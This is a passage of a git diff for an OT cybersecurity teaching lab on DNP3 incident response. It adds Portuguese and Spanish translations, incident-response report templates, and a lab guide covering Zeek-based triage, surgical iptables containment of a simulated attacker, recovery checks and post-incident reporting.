-contain : @@ -85,21 +89,22 @@ docker exec otlab-student iptables -D FORWARD -s 192.168.21.30 -d 192.168.20 ``` > [!NOTE] -> **Why the EWS and not the host?** Every corp↔OT packet is routed by the dual-homed -> EWS (`ip_forward=1`), so its `FORWARD` chain is the real chokepoint — and it behaves -> the same on WSL2, native Linux, and macOS, with no host `sudo`. A DROP in the host -> `DOCKER-USER` chain does **not** work under WSL2: inter-bridge traffic is L2-switched -> and, with `bridge-nf-call-iptables=0` (set so cross-bridge routing works at all), -> never traverses the host netfilter — so such a rule is silently inert. - -> Check the rule is in place and catching packets: +> **Porquê a EWS e não o host?** Cada pacote corp↔OT é encaminhado pela EWS +> dual-homed (`ip_forward=1`), por isso a sua chain `FORWARD` é o verdadeiro ponto de +> estrangulamento — e comporta-se da mesma forma em WSL2, Linux nativo e macOS, sem +> `sudo` no host. Um DROP na chain `DOCKER-USER` do host **não** funciona em WSL2: o +> tráfego entre bridges é comutado a L2 e, com `bridge-nf-call-iptables=0` (definido +> para que o encaminhamento entre bridges sequer funcione), nunca atravessa o +> netfilter do host — pelo que essa regra fica silenciosamente inerte. + +> Verifica que a regra está aplicada e a apanhar pacotes: > ```bash > docker exec otlab-student iptables -L FORWARD -n -v --line-numbers | grep 21.30 > ``` -## 6. Verification recipe (Zeek) +## 6. Receita de verificação (Zeek) -After containment, prove **both** halves of the OT trade-off from the EWS: +Após a contenção, prova **ambas** as metades do compromisso OT a partir da EWS: ```bash # (a) Attacker is cut — its IP should no longer appear talking to OT: @@ -115,6 +120,6 @@ cat notice.log | zeek-cut ts note src 2>/dev/null # -> empty / no new rows ``` -All-clear (Action 6) is signed off only when: clean `notice.log`, endpoints and -function codes inside the OTLab14 allowlists, and telemetry in range -(**110–130 V**, **0.5–15 A**, breaker toggling on its ~100 s cadence). +O "tudo limpo" (Ação 6) só é aprovado quando: `notice.log` limpo, endpoints e +códigos de função de volta dentro das allowlists do OTLab14, e telemetria na gama +(**110–130 V**, **0,5–15 A**, disjuntor a alternar na sua cadência de ~100 s). diff --git a/OTLab16/IR_Template-EN.md b/OTLab16/IR_Template-EN.md new file mode 100644 index 0000000..a4c354a --- /dev/null +++ b/OTLab16/IR_Template-EN.md @@ -0,0 +1,124 @@ +# Incident Response Template + +## Artifact 1 — Incident Timeline / Running Log + + +| # | Timestamp (UTC) | Actor (attacker / responder / system) | Purdue level | Action or observation | Evidence ref | +|---|-----------------|---------------------------------------|--------------|-----------------------|--------------| +| 1 | | | | | | +| 2 | | | | | | +| 3 | | | | | | +| 4 | | | | | | +| 5 | | | | | | +| … | | | | | | + +## Artifact 2 — Containment Decision Record (CDR) + +**Decision required (one line):** + + + +**Time decision was made (UTC):** `___` **Decision owner:** `___` + + + +### Options considered + +| Option | What it does | Safety impact | Availability impact (does the feeder keep running?) | Security effect | +|--------|--------------|---------------|-----------------------------------------------------|-----------------| +| | | | | | +| | | | | | +| | | | | | + +### Operational coordination + +**Operations contact / authoriser:** `___` **Authorised? (Y/N):** `___` + +### Decision and rationale + + + + + +### Reversibility & rollback + + + + +### Post-action verification + +| Verification check | Method / command | Evidence ref | Result (PASS/FAIL) | +|--------------------|------------------|--------------|--------------------| + + + + + +--- + +## Artifact 3 — Incident Report (capstone) + +**Incident ID:** `___` **Date/time opened (UTC):** `___` **Closed (UTC):** `___` +**Handler:** `___` **Classification:** `___` **Severity:** `___` **Current status:** `___` + + + +### 1. Executive summary + + + + +### 2. Scope (in Purdue terms) + + + + + + +### 3. Timeline summary + + + +### 4. Root cause + + + +### 5. Attacker actions and IOCs + +| Attacker action | OTLab15 scenario | MITRE ATT&CK ICS technique | IOC for a SIEM rule | +|-----------------|------------------|----------------------------|---------------------| +| | | | | +| | | | | + + + +### 6. Response actions taken + +| Response action | CSF 2.0 function (Detect/Respond/Recover) | Evidence ref | +|-----------------|-------------------------------------------|--------------| +| | | | +| | | | + + + +### 7. What was deliberately NOT done, and why + + + + + + + +### 8. Recovery & all-clear sign-off + +| Recovery criterion | Expected | Observed | Result | +|--------------------|----------|----------|--------| + + + + +**All-clear authorised by (operations):** `___` **Time (UTC):** `___` + + + +### 9. Lessons learned & recommendations diff --git a/OTLab16/IR_Template-ES.md b/OTLab16/IR_Template-ES.md new file mode 100644 index 0000000..791bb4f --- /dev/null +++ b/OTLab16/IR_Template-ES.md @@ -0,0 +1,123 @@ +# Plantilla de Respuesta a Incidentes + +## Artefacto 1 — Cronología del Incidente / Registro Corriente + + +| # | Timestamp (UTC) | Actor (atacante / responder / sistema) | Nivel Purdue | Acción u observación | Ref. de evidencia | +|---|-----------------|----------------------------------------|--------------|----------------------|-------------------| +| 1 | | | | | | +| 2 | | | | | | +| 3 | | | | | | +| 4 | | | | | | +| 5 | | | | | | +| … | | | | | | + +## Artefacto 2 — Registro de Decisión de Contención (CDR) + +**Decisión requerida (una línea):** + + + +**Hora en que se tomó la decisión (UTC):** `___` **Responsable de la decisión:** `___` + + + +### Opciones consideradas + +| Opción | Qué hace | Impacto en safety | Impacto en la disponibilidad (¿el alimentador sigue funcionando?) | Efecto de seguridad | +|--------|----------|-------------------|-------------------------------------------------------------------|---------------------| +| | | | | | +| | | | | | +| | | | | | + +### Coordinación operativa + +**Contacto de operaciones / autorizador:** `___` **¿Autorizado? (S/N):** `___` + +### Decisión y justificación + + + + + +### Reversibilidad & rollback + + + + +### Verificación post-acción + +| Verificación | Método / comando | Ref. de evidencia | Resultado (PASS/FAIL) | +|--------------|------------------|-------------------|-----------------------| + + + + +--- + +## Artefacto 3 — Informe de Incidente (capstone) + +**ID del incidente:** `___` **Fecha/hora de apertura (UTC):** `___` **Cierre (UTC):** `___` +**Responsable:** `___` **Clasificación:** `___` **Severidad:** `___` **Estado actual:** `___` + + + +### 1. Resumen ejecutivo + + + + +### 2. Alcance (en términos Purdue) + + + + + + +### 3. Resumen de la cronología + + + +### 4. Causa raíz + + + +### 5. Acciones del atacante e IOCs + +| Acción del atacante | Escenario OTLab15 | Técnica MITRE ATT&CK ICS | IOC para una regla de SIEM | +|---------------------|-------------------|--------------------------|----------------------------| +| | | | | +| | | | | + + + +### 6. Acciones de respuesta tomadas + +| Acción de respuesta | Función CSF 2.0 (Detect/Respond/Recover) | Ref. de evidencia | +|---------------------|------------------------------------------|-------------------| +| | | | +| | | | + + + +### 7. Lo que deliberadamente NO se hizo, y por qué + + + + + + + +### 8. Recuperación & aprobación del "todo despejado" + +| Criterio de recuperación | Esperado | Observado | Resultado | +|--------------------------|----------|-----------|-----------| + + + + +**"Todo despejado" autorizado por (operaciones):** `___` **Hora (UTC):** `___` + + + +### 9. Lecciones aprendidas & recomendaciones diff --git a/OTLab16/IR_Template.md b/OTLab16/IR_Template.md index a4c354a..1203678 100644 --- a/OTLab16/IR_Template.md +++ b/OTLab16/IR_Template.md @@ -1,107 +1,106 @@ -# Incident Response Template +# Modelo de Resposta a Incidentes -## Artifact 1 — Incident Timeline / Running Log +## Artefacto 1 — Cronologia do Incidente / Registo Corrente -| # | Timestamp (UTC) | Actor (attacker / responder / system) | Purdue level | Action or observation | Evidence ref | -|---|-----------------|---------------------------------------|--------------|-----------------------|--------------| -| 1 | | | | | | -| 2 | | | | | | -| 3 | | | | | | -| 4 | | | | | | -| 5 | | | | | | -| … | | | | | | +| # | Timestamp (UTC) | Ator (atacante / responder / sistema) | Nível Purdue | Ação ou observação | Ref. de evidência | +|---|-----------------|---------------------------------------|--------------|--------------------|-------------------| +| 1 | | | | | | +| 2 | | | | | | +| 3 | | | | | | +| 4 | | | | | | +| 5 | | | | | | +| … | | | | | | -## Artifact 2 — Containment Decision Record (CDR) +## Artefacto 2 — Registo de Decisão de Contenção (CDR) -**Decision required (one line):** +**Decisão necessária (uma linha):** -**Time decision was made (UTC):** `___` **Decision owner:** `___` +**Hora em que a decisão foi tomada (UTC):** `___` **Responsável pela decisão:** `___` -### Options considered +### Opções consideradas -| Option | What it does | Safety impact | Availability impact (does the feeder keep running?) | Security effect | -|--------|--------------|---------------|-----------------------------------------------------|-----------------| -| | | | | | -| | | | | | -| | | | | | +| Opção | O que faz | Impacto em safety | Impacto na disponibilidade (o alimentador continua a funcionar?) | Efeito de segurança | +|-------|-----------|-------------------|------------------------------------------------------------------|---------------------| +| | | | | | +| | | | | | +| | | | | | -### Operational coordination +### Coordenação operacional -**Operations contact / authoriser:** `___` **Authorised? (Y/N):** `___` +**Contacto de operações / autorizador:** `___` **Autorizado? (S/N):** `___` -### Decision and rationale +### Decisão e justificação -### Reversibility & rollback +### Reversibilidade & rollback -### Post-action verification - -| Verification check | Method / command | Evidence ref | Result (PASS/FAIL) | -|--------------------|------------------|--------------|--------------------| +### Verificação pós-ação +| Verificação | Método / comando | Ref. de evidência | Resultado (PASS/FAIL) | +|-------------|------------------|-------------------|-----------------------| --- -## Artifact 3 — Incident Report (capstone) +## Artefacto 3 — Relatório de Incidente (capstone) -**Incident ID:** `___` **Date/time opened (UTC):** `___` **Closed (UTC):** `___` -**Handler:** `___` **Classification:** `___` **Severity:** `___` **Current status:** `___` +**ID do incidente:** `___` **Data/hora de abertura (UTC):** `___` **Fecho (UTC):** `___` +**Responsável:** `___` **Classificação:** `___` **Severidade:** `___` **Estado atual:** `___` -### 1. Executive summary +### 1. Resumo executivo -### 2. Scope (in Purdue terms) +### 2. Âmbito (em termos Purdue) -### 3. Timeline summary +### 3. Resumo da cronologia -### 4. Root cause +### 4. Causa-raiz -### 5. Attacker actions and IOCs +### 5. Ações do atacante e IOCs -| Attacker action | OTLab15 scenario | MITRE ATT&CK ICS technique | IOC for a SIEM rule | -|-----------------|------------------|----------------------------|---------------------| -| | | | | -| | | | | +| Ação do atacante | Cenário OTLab15 | Técnica MITRE ATT&CK ICS | IOC para uma regra de SIEM | +|------------------|-----------------|--------------------------|----------------------------| +| | | | | +| | | | | -### 6. Response actions taken +### 6. Ações de resposta tomadas -| Response action | CSF 2.0 function (Detect/Respond/Recover) | Evidence ref | -|-----------------|-------------------------------------------|--------------| -| | | | -| | | | +| Ação de resposta | Função CSF 2.0 (Detect/Respond/Recover) | Ref. de evidência | +|------------------|-----------------------------------------|-------------------| +| | | | +| | | | -### 7. What was deliberately NOT done, and why +### 7. O que foi deliberadamente NÃO feito, e porquê @@ -109,16 +108,16 @@ -### 8. Recovery & all-clear sign-off +### 8. Recuperação & aprovação do "tudo limpo" -| Recovery criterion | Expected | Observed | Result | -|--------------------|----------|----------|--------| +| Critério de recuperação | Esperado | Observado | Resultado | +|-------------------------|----------|-----------|-----------| -**All-clear authorised by (operations):** `___` **Time (UTC):** `___` +**"Tudo limpo" autorizado por (operações):** `___` **Hora (UTC):** `___` -### 9. Lessons learned & recommendations +### 9. Lições aprendidas & recomendações diff --git a/OTLab16/OTLab16-EN.md b/OTLab16/OTLab16-EN.md new file mode 100644 index 0000000..a117ca3 --- /dev/null +++ b/OTLab16/OTLab16-EN.md @@ -0,0 +1,153 @@ +--- +title: "Lab 16 - DNP3 Protocol Emulation and Incident Response" +description: "Work a live OT intrusion through the NIST SP 800-61r3 / CSF 2.0 lifecycle: triage, surgical containment that preserves the DNP3 process, recovery and a post-incident report." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Incident Response", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Purdue Model", "Containment", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab16 — DNP3 + Incident Response Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Scenario + +This is the **third and final lab** in the substation story. In OTLab14 you read DNP3 off the wire with Wireshark and wrote down the baseline. In OTLab15 you turned that baseline into Zeek allowlists and built behavioural detectors — and the last thing you produced was a `notice.log` and a one-page incident summary. + +**This time the alarm is real.** The `notice.log` is no longer a classroom artefact: it is the **detection that opens a live incident**. The intrusion that started when **Maria from Finance** plugged in the parking-lot USB has worked its way through the corporate segment and is now probing — and spoofing — into OT, where a real feeder breaker can be flipped. You stop being the detection engineer and become the **incident responder**. + +You will work the incident through the **[NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final)** lifecycle, expressed as the **[CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions**: *Govern · Identify · Protect* as **Preparation**, then *Detect · Respond · Recover* as the live **Incident Response**, closing with *Improve*. For the OT angle you will lean on **[NIST SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final)** (Guide to OT Security). + +The single most important lesson of this lab: **in OT, incident response is not "pull the plug".** There are *safety* and *availability* to protect — the legitimate master↔outstation polling **must keep running** while you eject the attacker. That trade-off is what makes OT IR different from IT IR, and it is the thread that runs through every task below. + +> [!NOTE] +> **The OTLab15 deliverable is the input here.** Keep your OTLab15 `notice.log` and one-page incident summary open — they are what *triggers* this incident. Keep the OTLab14 baseline open too (endpoints, function codes, value ranges); you will use it again to declare the all-clear. + +> [!NOTE] +> Two companions live in this lab's directory. `IRPlaybookReference-EN.md` summarises the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final) lifecycle, the OT severity matrix, and the containment/verification recipes. `PurdueModelReference-EN.md` is the visual heart of the lab — the *current (insecure)* vs *target (hardened)* architecture. Record your work in `IR_Template-EN.md` (three artefacts: running log, containment decision record, incident report). + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or containment rule against hosts outside this lab.** `-incident` emits real, valid DNP3 PDUs and `-contain` edits host firewall rules; pointed at production gear they can disrupt real industrial processes. + +The seven actions below are each tagged with its CSF 2.0 function and the Purdue overlay it exercises. + +### Preparation — `Govern` · `Identify` *(optional, do once)* + +- 1️⃣ **Action 1 — Map the estate to Purdue, before the incident.** Bring the lab up with `./OTLab16.sh -start` and `-status` (the four OTLab15 containers return). Using `PurdueModelReference-EN.md`, place every host from Labs 14/15 on a Purdue level and write it into the header of **Artifact 1** (running log). Name the **operations contact / authoriser** now — the person you must call before you cut anything. + - *Hint: the outstation/RTU is L`{x}`, the master is L`{x}`, the EWS is the L`{x.x}` boundary host, and the breaker is L`{x}`. The IR plan must name an ops contact `{before|after}` the incident, not during it.* + +### Detect + +> [!NOTE] +> **Open the incident live — start the sensor first.** The EWS only records the attack if Zeek is already capturing when it lands. Enter the EWS with `./OTLab16.sh -run`, find its interfaces with `ip -br a`, then start the ready policy in a working directory and leave it running: +> ``` +> mkdir -p ~/ir && cd ~/ir +> zeek -i /opt/zeek-lab/local.zeek +> ``` +> The OT-facing link (`192.168.20.100`) is the one that carries the spoof down to L1. With Zeek capturing, open a **second terminal on the host** and fire the kill-chain: +> ``` +> ./OTLab16.sh -incident +> ``` +> When it finishes, stop Zeek with `Ctrl+C`; `conn.log`, `dnp3.log` and `notice.log` are waiting in `~/ir` — that is the detection that opens this incident. *(Rather reuse the `notice.log` you produced in OTLab15? Skip `-incident` and point the triage below at that file instead.)* + +- 2️⃣ **Action 2 — Triage and declare.** Open the `notice.log` you just generated with `-incident` (or reuse your OTLab15 one). Decide: real incident or false positive? Justify with `conn.log`/`dnp3.log` evidence. Then **declare the incident** — state the scope and **which Purdue level(s) are affected**. In OT the question is not "what data leaked" but **what process is at risk**. + - *Hint: a single spoofed READ that reaches the L`{x}` outstation is more serious than a noisy scan that never leaves L`{x.x}`. Focus on process impact vs data breached.* + +### Respond + +- 3️⃣ **Action 3 — Rebuild the timeline and name the conduit.** From the Zeek logs reconstruct an ordered incident timeline (`ts`, source, technique, CSF function) into **Artifact 1**. Identify the **conduit** the attacker is abusing — describe it in Purdue terms. + - *Hint: `cat notice.log | zeek-cut -u ts note src id.resp_h | sort` drafts the timeline — the `-u` flag renders `ts` as a human-readable UTC timestamp instead of the raw epoch (use `-d` for local time). The abused conduit is the path L`{x.x}`→L`{x}` that the dual-homed EWS bridges — the same one the legitimate master poll uses, which is exactly why you cannot simply block all of it.* + +- 4️⃣ **Action 4 — Cut the conduit (isolate, do not shut down).** Run `./OTLab16.sh -contain`. It applies the reference segmentation: a **surgical DROP** of the attacker host into OT, while the sanctioned master→outstation poll keeps flowing. **Verify with Zeek**: the attacker's flows stop *and* `dnp3.log` shows polling continuing within the OTLab14 ranges. Record the decision, the reversibility, and the post-action checks in **Artifact 2** (Containment Decision Record). + - *Hint: containment inserts `DROP -s {xxx.xxx.xx.xx} -d 192.168.20.0/24` at the top of the EWS `FORWARD` chain — the dual-homed EWS routes all corp↔OT traffic, so its `FORWARD` chain is the real chokepoint. Isolate vs shutdown: the feeder must keep being polled. Confirm with `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u` — the `{attacker IP}` row is gone, the `{master IP}` row remains.* + +- 5️⃣ **Action 5 — Eradicate the foothold.** Remove the attacker's foothold on the compromised corporate PC and close the initial vector (the USB / the EWS IP-forwarding that let corp reach OT). Note in your log **what you could not patch on demand** and why. + - *Hint: field devices (the L`{x}` outstation/RTU) can't be patched or rebooted on demand mid-incident — eradication in OT often means cutting reach and scheduling the fix for a maintenance window, not a live reboot.* + +### Recover + +- 6️⃣ **Action 6 — Run the baseline check (process verified, not just threat gone).** Run `./OTLab16.sh -restore` to return to the clean monitored state, then re-run your Zeek baseline. Recovery is signed off **only** when: `notice.log` shows no new alerts, the endpoints/function codes match the OTLab14 allowlists, and the outstation telemetry is back in range (voltage `{xxx–xxx}` V, current `{x.x–xx}` A). + - *Hint: "recover" means the **process** is verified normal, not merely that the attacker is gone. Get the ops contact from Action 1 to authorise the all-clear in Artifact 3.* + +### Recover · Improve + +- 7️⃣ **Action 7 — Write the post-incident report.** Complete **Artifact 3** (Incident Report): executive summary, scope in Purdue terms, timeline summary, **root cause**, attacker actions mapped to **MITRE ATT&CK for ICS**, IOCs you would turn into SIEM rules, response actions tagged by CSF function, what you deliberately did **not** do and why, recovery sign-off, and lessons learned. Your top recommendation should feed back into the architecture: introduce the **IDMZ / segmentation** from `PurdueModelReference-EN.md` so this conduit cannot be abused again. **This document closes the OTLab14/15/16 trilogy.** + - *Hint: root cause is not "the USB" alone — it is `{USB}` + `{flat IT/OT}` + `{dual-homed EWS with no DMZ}`. The fix that prevents recurrence is the **target** Purdue architecture, which ties Recover back to Improve.* + +## 🎯 Skills + +**Hands-on:** Incident Triage · Log Forensics (Zeek) · Network Containment · OT Architecture Hardening + +**Applying [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) — Mitigations:** + +[![M0930 Network Segmentation](https://img.shields.io/badge/ATT%26CK_ICS-M0930_Network_Segmentation-blue)](https://attack.mitre.org/mitigations/M0930/) +[![M0937 Filter Network Traffic](https://img.shields.io/badge/ATT%26CK_ICS-M0937_Filter_Network_Traffic-blue)](https://attack.mitre.org/mitigations/M0937/) +[![M0931 Network Intrusion Prevention](https://img.shields.io/badge/ATT%26CK_ICS-M0931_Network_Intrusion_Prevention-blue)](https://attack.mitre.org/mitigations/M0931/) + +**Mapped to the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) incident-response lifecycle ([CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions):** the seven actions move through *Govern/Identify* (Preparation) → *Detect* → *Respond* → *Recover/Improve*. + +## 🔖 Nomenclature + +- ATT&CK for ICS: MITRE's adversary-behaviour knowledge base for industrial control systems; *Mitigations* are the defensive counterparts of *Techniques*. +- conduit: in the Purdue/IEC 62443 sense, the controlled communication path between two security zones. +- CSF: [NIST Cybersecurity Framework](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final); version 2.0 organises work into the functions *Govern, Identify, Protect, Detect, Respond, Recover*. +- CSIRT: Computer Security Incident Response Team. +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IDMZ: Industrial Demilitarised Zone — the Purdue Level 3.5 buffer that brokers all IT↔OT traffic. +- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. +- IR / IRP: Incident response / incident response plan. +- NSM: Network security monitoring — passive observation of traffic; Zeek is an NSM tool. +- OT: Operational technology. +- PERA / Purdue: Purdue Enterprise Reference Architecture — the layered (L0–L5) reference model for ICS network segmentation. +- RTO / RPO: Recovery time objective / recovery point objective. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- [SP 800-61](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final): NIST guides for incident handling and for OT security, respectively. + +## 🛠️ Usage + +``` +Usage: ./OTLab16.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status + | -attack | -incident | -contain | -restore + + -start Start the DNP3_IR environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student (EWS) container + -clean Remove containers, volumes, and network (reverts all iptables rules) + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status + -attack Fire a single controlled attack scenario (scan | fingerprint | spoof) + -incident Replay the full kill-chain (scan → fingerprint → spoof) to open the incident + -contain Apply the reference containment: surgical DROP of the attacker into OT, + preserving the legitimate master→outstation poll + -restore Lift containment and return to the clean monitored state +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. `-contain` then applies its surgical `DROP` in the **EWS's own `FORWARD` chain** (via `docker exec`, no host `sudo`), and `-restore` removes it — a host `DOCKER-USER` rule would be silently inert under WSL2, since cross-bridge traffic is L2-switched. The cross-bridge `ACCEPT` rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the cross-bridge rules are skipped — see `IRPlaybookReference-EN.md` for the containment details. + +## Solutions + +This lab is **operational, not code-to-fill**: the student drives the incident through the `OTLab16.sh` verbs and records reasoning in `IR_Template-EN.md`. The instructor key is the expected content of the three artefacts plus the reference containment: + +- **Containment (reference):** a single surgical drop in the EWS `FORWARD` chain — `docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP` — inserted at the top so it wins over the forwarding rules. The master (192.168.21.20) keeps polling the outstation (192.168.20.10); only the attacker (192.168.21.30) loses its path into OT. This is what `-contain` applies and `-restore` removes. +- **Baseline check (all-clear criteria):** clean `notice.log`, endpoints and function codes back inside the OTLab14 allowlists, and telemetry in range (110–130 V, 0.5–15 A) with the breaker toggling on its ~100 s cadence. +- **Root cause:** USB-borne malware **+** flat IT/OT with no segmentation **+** dual-homed EWS bridging the two segments with no IDMZ. The recommended fix is the *target* architecture in `PurdueModelReference-EN.md`. diff --git a/OTLab16/OTLab16-ES.md b/OTLab16/OTLab16-ES.md new file mode 100644 index 0000000..8947ccf --- /dev/null +++ b/OTLab16/OTLab16-ES.md @@ -0,0 +1,153 @@ +--- +title: "Lab 16 - Emulación del protocolo DNP3 y respuesta a incidentes" +description: "Gestionar una intrusión OT en vivo a través del ciclo de vida NIST SP 800-61r3 / CSF 2.0: triaje, contención quirúrgica que preserva el proceso DNP3, recuperación e informe post-incidente." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Respuesta a Incidentes", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Modelo Purdue", "Contención", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab16 — DNP3 + Incident Response Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Escenario + +Este es el **tercer y último laboratorio** de la historia de la subestación. En el OTLab14 leíste DNP3 del cable con Wireshark y anotaste la baseline. En el OTLab15 convertiste esa baseline en allowlists de Zeek y construiste detectores conductuales — y lo último que produjiste fue un `notice.log` y un resumen de incidente de una página. + +**Esta vez la alarma es real.** El `notice.log` ya no es un artefacto de aula: es la **detección que abre un incidente en vivo**. La intrusión que comenzó cuando **María, de Finanzas**, conectó el USB del aparcamiento se ha abierto camino por el segmento corporativo y ahora está sondeando — y falsificando (*spoof*) — hacia la OT, donde un interruptor de alimentador real puede ser accionado. Dejas de ser el ingeniero de detección y pasas a ser el **responsable de respuesta a incidentes**. + +Vas a gestionar el incidente a través del ciclo de vida del **[NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final)**, expresado como las **funciones del [CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final)**: *Govern · Identify · Protect* como **Preparación**, luego *Detect · Respond · Recover* como la **Respuesta a Incidentes** en vivo, cerrando con *Improve*. Para el ángulo OT te apoyarás en el **[NIST SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final)** (Guide to OT Security). + +La lección más importante de este laboratorio: **en OT, la respuesta a incidentes no es "desenchufar".** Hay *seguridad física (safety)* y *disponibilidad* que proteger — el polling legítimo master↔outstation **debe seguir funcionando** mientras expulsas al atacante. Ese compromiso es lo que hace la IR en OT diferente de la IR en IT, y es el hilo conductor de todas las tareas de abajo. + +> [!NOTE] +> **El entregable del OTLab15 es la entrada aquí.** Mantén tu `notice.log` y el resumen de incidente de una página del OTLab15 abiertos — son ellos los que *desencadenan* este incidente. Mantén también la baseline del OTLab14 abierta (endpoints, códigos de función, rangos de valores); la usarás de nuevo para declarar el "todo despejado". + +> [!NOTE] +> Dos compañeros viven en el directorio de este laboratorio. `IRPlaybookReference-ES.md` resume el ciclo de vida [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final), la matriz de severidad OT y las recetas de contención/verificación. `PurdueModelReference-ES.md` es el corazón visual del laboratorio — la arquitectura *actual (insegura)* vs *objetivo (endurecida)*. Registra tu trabajo en `IR_Template-ES.md` (tres artefactos: registro corriente, registro de decisión de contención, informe de incidente). + +## 📝 Tareas + +> [!WARNING] +> Todas las tareas se realizan dentro de los contenedores del laboratorio. **No ejecutes ningún escenario de ataque, escáner o regla de contención contra hosts fuera de este laboratorio.** El `-incident` emite PDUs DNP3 reales y válidas y el `-contain` edita reglas de firewall del host; apuntados a equipos de producción, pueden interrumpir procesos industriales reales. + +Las siete acciones de abajo están etiquetadas, cada una, con su función CSF 2.0 y la superposición Purdue que ejercita. + +### Preparación — `Govern` · `Identify` *(opcional, hacer una vez)* + +- 1️⃣ **Acción 1 — Mapear el parque a Purdue, antes del incidente.** Levanta el laboratorio con `./OTLab16.sh -start` y `-status` (los cuatro contenedores del OTLab15 regresan). Usando `PurdueModelReference-ES.md`, coloca cada host de los Labs 14/15 en un nivel Purdue y escríbelo en la cabecera del **Artefacto 1** (registro corriente). Nombra ya el **contacto de operaciones / autorizador** — la persona a la que debes llamar antes de cortar lo que sea. + - *Pista: la outstation/RTU es L`{x}`, el master es L`{x}`, la EWS es el host de frontera L`{x.x}` y el interruptor es L`{x}`. El plan de IR debe nombrar un contacto de operaciones `{antes|después}` del incidente, no durante.* + +### Detección (Detect) + +> [!NOTE] +> **Abre el incidente en vivo — arranca primero el sensor.** La EWS solo registra el ataque si Zeek ya está capturando cuando ocurre. Entra en la EWS con `./OTLab16.sh -run`, encuentra sus interfaces con `ip -br a` y luego inicia la política lista en un directorio de trabajo, 